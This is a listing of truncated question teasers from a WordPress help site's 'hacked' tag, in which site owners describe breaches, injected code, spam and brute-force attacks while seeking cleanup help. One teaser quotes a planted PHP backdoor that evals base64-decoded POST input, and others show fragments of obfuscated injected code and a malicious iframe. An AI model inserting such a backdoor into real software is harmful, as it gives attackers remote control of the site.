About web sites before and after a security breach. If you need this tag your question is probably off topic.

learn more… | top users | synonyms

0
votes
0answers
15 views

Help tracking down arbitrary file upload vulnerability

Thanks to the use of best practices, my site is still in my control, everything is fine. Although I am still left scratching my head on how a handful of people with malicious intent were able ...
0
votes
0answers
21 views

Can compromised theme files lead to WordPress core files being modified?

I was recently given a website that had been hacked before I took over maintenance for it. There was a script injected to the top of every core WordPress and theme PHP file. The first step was to ...
1
vote
0answers
57 views

What is this code in my theme's footer.php causing chmod permission warnings? [closed]

I am stumped on this and can't seem to fix the issue. I removed the code, that didn't work as it came back. I tried looking throughout my theme's files and can't see anything else. Does anyone have ...
2
votes
1answer
214 views

How do i disable/disallow <script> and <iframe> tags in TinyMCE?

A client of mine has just had 200 posts injected by malicious scripts and iframes. The website is now all cleared. They were put in the content by the user updating the post/page as my clients ...
1
vote
1answer
260 views

Security issues with WP sites

I have just had to deal with a few of my WordPress websites being hacked. First time put an index.html file in the cpanel of each site and replenished my admin user. Once I felt I cleaned this up, it'...
0
votes
1answer
38 views

Website Got Hacked - Fixed - Now Cannot Activate Theme

My wordpress site got hacked, I fixed the problem but had to delete the TwentyFifteen theme (the one that was hacked). The theme I was originally using was different, but the hackers hacked the ...
-1
votes
1answer
57 views

My Wordpress site hacked with unwanted popups [closed]

I have a woo-commerce shop on my wordpress but I've been attacked by some kind of hack. As you can see in the image there are lots of popup link on top of my site . How can I clean this ? I do not ...
-3
votes
1answer
98 views

Does anyone know what the wp_snp_stats table is? Maybe I was hacked?

Nothing is pulling up in Google. I've got a good handle on all my plugins that create custom tables. If you're familiar with this table, please let me know. Or else I have a long road ahead. Thx
0
votes
1answer
135 views

Server hacked: correct contents of wp-uploads directory? [closed]

Our Wordpress server began running extremely slowly, even though the load on the server itself was extremely low (< 1%). The wp-admin page would not respond at all. After an investigation, it was ...
0
votes
1answer
74 views

Hacked site using transient API?

I have got a website to "cleanup" which has almost 10k replicated files in the public_html folder and almost all PHP files contains code $z=get_option("...
0
votes
0answers
16 views

A SPAM URL is returning a 200 server response rather than a 404, how do I fix this?

I have completely rebuilt my hacked website from scratch; removed databases and files. After the relaunch, Google is rejecting my reconsideration request citing hacked content. It seems that one of ...
0
votes
1answer
147 views

Site hacked with malware [closed]

Sucuri site check tells me that my site is infected by malware. ISSUE DETECTED DEFINITION INFECTED URL SEO Spam MW:SPAM:SEO?sb http://mywebsite/about/ ( View Payload ) SEO Spam MW:SPAM:SEO?...
0
votes
1answer
110 views

Manually Disable Basic Auth from hacked wordpress database

A wordpress website was hacked. i setup a new server and new db server. when we try to visit the admin, we get a http basic auth prompt. i need to know what to look for in the database to disable this ...
0
votes
1answer
164 views

Have I been hacked? Mysterious code at the top of theme files [closed]

I found the following at the top of all my theme files. My local copy doesn't have it! WordPress v4.2.2 running on a Linux server. Plugins: Advanced Custom Fields <?php if(!isset($GLOBALS["\x61\...
0
votes
1answer
62 views

How can hackers access WP usernames? [duplicate]

Recently I've had brute force attack attempts on some of my WordPress sites and the attackers are using actual usernames other than the default admin (which was removed). How is it possible for them ...
0
votes
0answers
158 views

Bruteforce attack from 127.0.0.1?

I've got a very strange problem. Actually my server is being attacked by a brute force on wp-login.php. But when I look into the access log file I see that it's from 127.0.0.1... www.*.fr:80 127.0.0....
1
vote
1answer
109 views

Hack-Proof OR Security in Wordpress — is it real?

For many years I've been using WordPress as a platform for websites, it is convenient to me as a developer and for customers. But recent months, several sites of my clients were hacked and I'm ...
-1
votes
1answer
4k views

How to fight this wp-info.php exploit? [closed]

Since a few weeks, an exploit has been introduced in my WordPress website and I cannot find a way to remove it definitely. I call it the "wp-info.php exploit" because it puts some wp-info.php files ...
1
vote
0answers
59 views

Spam users registers even when registration is disabled

I'm getting a lot of spam users registering on my site, even though I have disabled All users can register in the control panel and comments is disabled on all posts. Are anyone else experiencing ...
2
votes
3answers
9k views

Restrict access to xmlrpc.php

I am fairly new to Wordpress and I recently noted a huge amount of traffic hitting the following: 162.242.170.222 - - [01/Aug/2014:08:18:54 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859 162.242.170.222 ...
2
votes
0answers
27 views

hSite has no css on mobile [closed]

Our WP site got hacked and we've been working with our hosting to clean all malware etc. However, now the site appears on desktop fine, but on mobile it looks as though all the css is stripped. Here'...
0
votes
2answers
408 views

Troll the hackers by redirecting them

My website is getting somewhat popular, and with the it's increasing popularity there's an increase in the hackers. Last night I visited my security logs and found that everyday approximately 10 ...
0
votes
2answers
1k views

Is wp-app.php or wp-apps.php needed for Wordpress?

A few Wordpress blogs I overlook have suddenly generated 3 PHP files in their top folder: wp-app.php, wp-apps.php, and wp-register.php, not of which existed before. Checking their contents against a ...
4
votes
2answers
10k views

Tips for finding SPAM links injected into the_content

I'm working on a client's site and I noticed that posts have a hidden <div> filled to SPAM links to dick pills, etc. Hoping to get lucky, I searched for some of the keywords in the database ...
0
votes
1answer
91 views

Remove hacked code - out of ideas! [closed]

I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this intro....
0
votes
1answer
136 views

Username was changed to “admin”

I suspect a hacking incident in my wordpress site. My username was changed to "admin". How to revert back my username safely? Thanks
0
votes
0answers
58 views

How do I restore my WordPress that has been hacked?

The website was hacked a week and a half ago. I removed files that were added and removed core WP files that I knew I could replace just to move along the process. Now, I am left with the wp-content ...
1
vote
0answers
759 views

Core files changed - site hacked? [closed]

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed: WordPress core file modified: wp-content/plugins/akismet/admin.php WordPress ...
0
votes
0answers
62 views

Wordpress installer attack

I'm facing a repeated attack on my wordpress. The bots are attempting to force wordpress into installation mode, despite 503'ing requests for install globally and having heavily locked down security ...
1
vote
2answers
2k views

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in /wp-...
0
votes
3answers
636 views

Is it a good idea to rename the “index.php” in “wp-admin” folder to avoid being hacked?

My wordpress has been hacked for 2 or 3 times. How can I increase its security? Is it a good way to rename the index.php in wp-admin directory?
0
votes
1answer
1k views

After being hacked Fatal error: Call to undefined function get_header() in 404.php on line 1

After having timthumb.php exploited. The site was upgraded to WP 3.5 It was compromised again, (wp-config included encrypted data as well as the functions.php in the wp-include directory. After ...
15
votes
1answer
4k views

If a hacker changed the blog_charset to UTF-7 does that make WordPress vulnerable to further attacks?

I had a client who got hacked recently and I noticed that there were weird characters appearing on her site, like  and Æ. It turns out that the hackers changed the blog_charset to UTF-7 in the ...
1
vote
0answers
342 views

How to restore my wordpress site on your server? [closed]

Yesterday my wordpress site "http://planetofcoders.com", Hacked by someone Bangladeshi hacker. After that I did delete all site and database data. I have my site and database backup as on 09-Nov-2012. ...
0
votes
2answers
771 views

Any known bugs that could cause disappearance of the wp_users table?

I administer a number of WordPress-powered web sites. One of these sites is new, and has been running untouched since it was set up a month ago. Today, I tried to log in, but was unable to do so - ...
-1
votes
1answer
952 views

Where do hackers usually run their hacking script? [closed]

So in my quest to solve this mystery, I actually found some script that might be similar to one used to deface our sites: http://pastebin.com/raw.php?i=hcvPE8YV Now my question is where do they ...
1
vote
1answer
6k views

Websites defaced by uploading script using theme editor

We've had several Wordpress sites defaced, all of them having the same pattern (at least the raw access log says so). From the logs it appears they directly login to Wordpress then go to theme editor >...
0
votes
1answer
99 views

Is there any pre-existing plugin to track and block IPs with suspicious activity on my site?

The image below shows a recent (failed) attempt to crack my Wordpress install. It's easy for me to look at that and see what they were doing, but is there a plugin that exists that monitors this data ...
-1
votes
1answer
424 views

suspicious boolean.php file in wp web root [closed]

Today I noticed in my web root a suspicious php file: boolian.php and serveral .html files with random names, all containing trojans. I remember yesterday I just uploaded and activated few themes I ...
0
votes
3answers
532 views

Prevent Hacking of Wordpress Site [closed]

My Wordpress site is beign hacked by some hackers of Saudi Arabia. How can i prevent them from hacking. I have also found that many other Wordpress sites have also been hacked.
0
votes
1answer
372 views

Malware on site [closed]

Hi when I try to enter my site I get redirected to another site. IT appears the htaccess file has been changed. When I scan the site with Sucuri I get this error Known javascript malware. Details: ...
0
votes
2answers
354 views

On new server, site got hacked, permissions a bit strange? Please help

I moved to a new server recently, a week later a site got hacked, all they did was change the index.php file of the current enabled theme, no big deal. I did have a few security precautions in place, ...
0
votes
1answer
359 views

Strange codes in my wordpress site and my website is running too slow [closed]

I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything ...
0
votes
2answers
48 views

What can I do when an outside party hacks into my weblog and changes my display name?

Last night I wrote a mildly controversial blog post about religion on my weblog, and this morning I woke up to find that my display name had been changed to the name of a fanatic religious leader. The ...
-2
votes
3answers
1k views

Wordpress Hacks/Defacing [closed]

Im trying to figure out how Wordpress sites become defaced/hacked. I know development very well. I know how to secure code, etc. But I am finding recently, that tons of Wordpress sites are becoming ...
1
vote
1answer
496 views

How was my WP site hacked [closed]

My site, http://www.cancer-study.com, has been hacked, and I can't login to wp-admin. Can you say how it has been hacked and what can I do to undo the damage? I have access to the host.
0
votes
1answer
769 views

Site blocked by WebSense on fresh WP Install

Just put up a new WP 3.2.1 install running twenty eleven, with one post "coming soon". I haven't yet begun developing the site. At my place of business, it is currently blocked by WebSense as "...
1
vote
1answer
8k views

Change WP-Login or WP-Admin

Can I change the name of the wp-login or wp-admin file so that I can go to a different filename in order to login. I am trying to prevent hackers from finding my login and wp-login has become a very ...
0
votes
3answers
227 views

Suspicious URLs being loaded after hack and restore

I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there. I used Fantastico to install a clean release of WP 3.1, and I still some something ...
78
votes
12answers
11k views

Verifying that I have fully removed a WordPress hack?

My for-fun WordPress blog at http://fakeplasticrock.com (running WordPress 3.1.1) got hacked -- it was showing an <iframe> on every page like so: <iframe src="http://evilsite.com/go/1">&...